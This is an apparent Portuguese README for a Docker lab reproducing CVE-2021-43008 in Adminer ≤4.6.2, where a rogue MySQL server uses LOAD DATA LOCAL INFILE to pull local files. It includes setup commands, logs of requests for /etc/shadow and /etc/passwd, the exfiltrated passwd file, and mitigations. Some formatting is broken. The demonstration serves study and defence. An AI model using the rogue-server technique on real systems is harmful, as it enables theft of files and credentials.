
Ambiente de demonstração para a vulnerabilidade CVE-2021-43008 do Adminer: observar o impacto real e testar medidas de mitigação.
Adminer é uma ferramenta web (PHP) que permite administrar facilmente bancos de dados MySQL, PostgreSQL, SQLite ou SQL Server. É comumente implantado como uma alternativa leve ao phpMyAdmin.
Versões afetadas: Adminer ≤ 4.6.2
Adminer autoriza a conexão a qualquer servidor MySQL remoto. Porém, ao conectar-se a um servidor MySQL, o cliente (aqui Adminer) aceita:
Adminer não valida corretamente as respostas do servidor MySQL nas versões vulneráveis.
Resultado: Um servidor MySQL controlado por um atacante pode solicitar:
"Leia este arquivo local na máquina ou contêiner que hospeda o Adminer e envie-o para mim."
Este mecanismo está relacionado ao pacote MySQL:
0xFB | filename → dispara a leitura local do arquivo.
Adminer 4.6.2 permitia que um usuário especificasse um servidor MySQL externo e se conectasse livremente a ele. Porém, o MySQL permitia adicionalmente — por padrão — o uso de:
LOAD DATA LOCAL INFILEPortanto: Adminer → conecta-se ao servidor malicioso → o servidor malicioso solicita um arquivo → Adminer o envia.
Essa é a essência da vulnerabilidade.
O atacante deve:
LOAD DATA LOCAL INFILE.Nenhuma senha root é necessária para exfiltrar um arquivo local: é o Adminer que executa a ação como uma aplicação PHP no servidor alvo.
O atacante pode:
Com as credenciais MySQL roubadas (etapa secundária), ele pode então:
O PoC é feito em um ambiente isolado e contêinerizado para evitar qualquer risco.
localhost:80800xFB filename para forçar o Adminer a ler um arquivo local.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
Em http://localhost:8080:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.Use o comando a seguir para observar os logs do rogue:
docker logs -f rogue_mysql
Resultado esperado:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
Consultar o conteúdo do arquivo stolen_file.txt:
docker exec -it rogue_mysql sh
Uma vez dentro do contêiner, você poderá visualizar os conteúdos dos arquivos, incluindo stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
Resultado:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
Este resultado demonstra a vulnerabilidade sem ambiguidade.
Solução mais confiável: Atualizar para Adminer ≥ 4.6.3
As versões posteriores corrigem o comportamento de rede.
A partir do Adminer 4.7.x, várias proteções foram introduzidas:
Adminer agora proíbe por padrão LOAD DATA LOCAL INFILE
Ou seja:
→ Resultado: seu rogue MySQL não pode mais exfiltrar arquivos.
Adminer filtra as ações do cliente antes de enviá-las ao servidor
Isso impede que conexões externas usem funções perigosas.
Mecanismos adicionais de validação de entrada
As novas versões verificam:
Limitar o Adminer apenas a hosts internos:
O Adminer de produção deve sempre apontar para um MySQL interno.
LOCAL INFILE no lado MySQLImpede o roubo via cliente MySQL legítimo:
[mysqld]
local_infile=0
ou:
SET GLOBAL local_infile=0;
O Adminer não deve ser acessível na Internet.
Em produção: